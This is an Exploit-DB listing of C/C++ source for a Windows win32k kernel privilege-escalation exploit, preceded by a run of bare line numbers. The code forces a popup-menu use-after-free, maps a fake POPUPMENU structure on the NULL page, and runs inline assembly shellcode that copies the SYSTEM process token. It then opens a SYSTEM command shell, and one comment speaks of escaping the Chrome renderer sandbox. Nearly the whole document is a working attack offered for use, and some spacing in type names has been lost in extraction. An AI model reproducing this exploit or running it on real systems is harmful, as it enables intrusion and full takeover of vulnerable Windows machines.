1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 |
#include <Windows.h> #include <iostream> /* EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip */ /* PREPROCESSOR DEFINITIONS */ #define MN_SELECTITEM 0x1E5 #define MN_SELECTFIRSTVALIDITEM 0x1E7 #define MN_OPENHIERARCHY 0x01E3 #define MN_CANCELMENUS 0x1E6 #define MN_BUTTONDOWN 0x1ed #define WM_EX_TRIGGER 0x6789 #define NtCurrentProcess() (HANDLE)-1 #define NtCurrentThread()(HANDLE)-1 #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define TYPE_WINDOW 1 /* GLOBAL VARIABLES */ static BOOL hWindowHuntDestroy = FALSE; static BOOL bEnterEvent = FALSE; static BOOL success = FALSE; static HMENU hMenuList[3] = { 0 }; static HWND hWindowMain = NULL; static HWND hWindowHunt = NULL; static HWND hwndMenuList[3] = { 0 }; static PVOID MemAddr = (PVOID)1; static SIZE_T MemSize = 0x1000; static DWORD iCount = 0; static DWORD release = 0; /* Structure definition of win32k!tagWND returned by xxHMValidateHandle */ typedef struct _HEAD { HANDLEh; DWORD cLockObj; } HEAD, *PHEAD; typedef struct _THROBJHEAD { HEADhead; PVOID pti; } THROBJHEAD, *PTHROBJHEAD; typedef struct _DESKHEAD { PVOID rpdesk; PBYTE pSelf; } DESKHEAD, *PDESKHEAD; typedef struct _THRDESKHEAD { THROBJHEADthread; DESKHEADdeskhead; } THRDESKHEAD, *PTHRDESKHEAD; /* Definition of xxHMValidateHandle */ static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; /* Defintion of NtallocateVirtualMemory */ typedef NTSTATUS (WINAPI *pfNtAllocateVirtualMemory) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTRZeroBits, PSIZE_TRegionSize, ULONGAllocationType, ULONGProtect ); pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; static VOID xxGetHMValidateHandle(VOID) { HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); PBYTE Address = NULL; for (INT i = 0; i < 0x30; i++) { if (*(WORD *)(i + pfnIsMenu) != 0x02B2) { continue; } i += 2; if (*(BYTE *)(i + pfnIsMenu) != 0xE8) { continue; } Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; Address = Address + i + 5; pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; break; } } static PVOID xxHMValidateHandleEx(HWND hwnd) { return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); } static PVOID xxHMValidateHandle(HWND hwnd) { PVOID RetAddr = NULL; if (!pfnHMValidateHandle) { xxGetHMValidateHandle(); } if (pfnHMValidateHandle) { RetAddr = xxHMValidateHandleEx(hwnd); } return RetAddr; } static BOOL xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW) { WNDCLASSEXW wc = { 0 }; wc.cbSize = sizeof(WNDCLASSEXW); wc.lpfnWndProc = pfnProc; wc.cbWndExtra = cbWndExtra; wc.hInstance = GetModuleHandleA(NULL); wc.lpszMenuName = NULL; wc.lpszClassName = lpszClassName; return RegisterClassExW(&wc); } static HWND xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL) { return CreateWindowExW(dwExStyle, lpszClassName, NULL, dwStyle, 0, 0, 1, 1, hwndParent, NULL, hInstance, NULL); } static LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) { tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1]) { printf("Sending the MN_CANCELMENUS message\n"); SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0); bEnterEvent = FALSE; } return CallNextHookEx(0, code, wParam, lParam); } static VOID CALLBACK xxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWNDhwnd, LONGidObject, LONGidChild, DWORD idEventThread, DWORD dwmsEventTime ) { UNREFERENCED_PARAMETER(hWinEventHook); UNREFERENCED_PARAMETER(event); UNREFERENCED_PARAMETER(idObject); UNREFERENCED_PARAMETER(idChild); UNREFERENCED_PARAMETER(idEventThread); UNREFERENCED_PARAMETER(dwmsEventTime); bEnterEvent = TRUE; if (iCount < ARRAYSIZE(hwndMenuList)) { hwndMenuList[iCount] = hwnd; iCount++; } SendMessageW(hwnd, MN_SELECTITEM, 0, 0); SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0); PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0); } __declspec(noinline) int Shellcode() { __asm { xor eax, eax // Set EAX to 0. mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData. // _KTHREAD is located at FS:[0x124] mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process mov ecx, eax // Copy current process _EPROCESS structure mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0B8h cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token mov[ecx + 0xF8], edx // Assign SYSTEM process token. } } static LRESULT WINAPI xxMainWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (msg == 0x1234) { WORD um = 0; __asm { // Grab the value of the CS register and // save it into the variable UM. //int 3 mov ax, cs mov um, ax } // If UM is 0x1B, this function is executing in usermode // code and something went wrong. Therefore output a message that // the exploit didn't succeed and bail. if (um == 0x1b) { // USER MODE printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n"); ExitProcess(-1); // Bail as if this code is hit either the target isn't // vulnerable or something is wrong with the exploit. } else { success = TRUE; // Set the success flag to indicate the sprayCallback() // window procedure is running as SYSTEM. Shellcode(); // Call the Shellcode() function to perform the token stealing and // to remove the Job object on the Chrome renderer process. } } return DefWindowProcW(hwnd, msg, wParam, lParam); } int main() { /* Creating the menu */ for (int i = 0; i < 3; i++) hMenuList[i] = CreateMenu(); /* Appending the menus along with the item */ for (int i = 0; i < 3; i++) { AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); } AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item"); /* Creating a main window class */ xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE, GetModuleHandleA(NULL)); printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain); ShowWindow(hWindowMain, SW_SHOWNOACTIVATE); /* Creating the hunt window class */ xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc); hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", WS_EX_LEFT, WS_OVERLAPPEDWINDOW, GetModuleHandleA(NULL)); printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt); /* Hooking the WH_CALLWNDPROC function */ SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); /* Hooking the trackpopupmenuEx WINAPI call */ HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0); /* Setting the root popup menu to null */ printf("Setting the root popup menu to null\n"); release = 0; TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); /* Allocating the memory at NULL page */ *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) return 1; if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), &MemAddr, 0, &MemSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || MemAddr != NULL) { std::cout << "[-]Memory alloc failed!" << std::endl; return 1; } ZeroMemory(MemAddr, MemSize); /* Getting the tagWND of the hWindowHunt */ PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt); printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf); /* Creating a fake POPUPMENU structure */ DWORD dwPopupFake[0x100] = { 0 }; dwPopupFake[0x0] = (DWORD)0x1; //->flags dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup dwPopupFake[0x5] = (DWORD)0x1; //->spmenu dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;//->spwndActivePopup dwPopupFake[0x8] = (DWORD)0x1;//->ppopupmenuRoot dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree dwPopupFake[0xA] = (DWORD)0x1;//->posSelectedItem dwPopupFake[0xB] = (DWORD)0x1; //->posDropped dwPopupFake[0xC] = (DWORD)0; /* Copying it to the NULL page */ RtlCopyMemory(MemAddr, dwPopupFake, 0x1000); /* Allowing to access the NULL page mapped values */ release = 1; hwndMenuList[2] = NULL; TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL); /* Freeing the allocated NULL memory */ VirtualFree(MemAddr, 0x1000, 0); SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11); if (success) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; printf("Getting the shell now...\n"); BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bRet) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } } DestroyWindow(hWindowMain); MSG msg = { 0 }; while (GetMessageW(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageW(&msg); } return 0; } |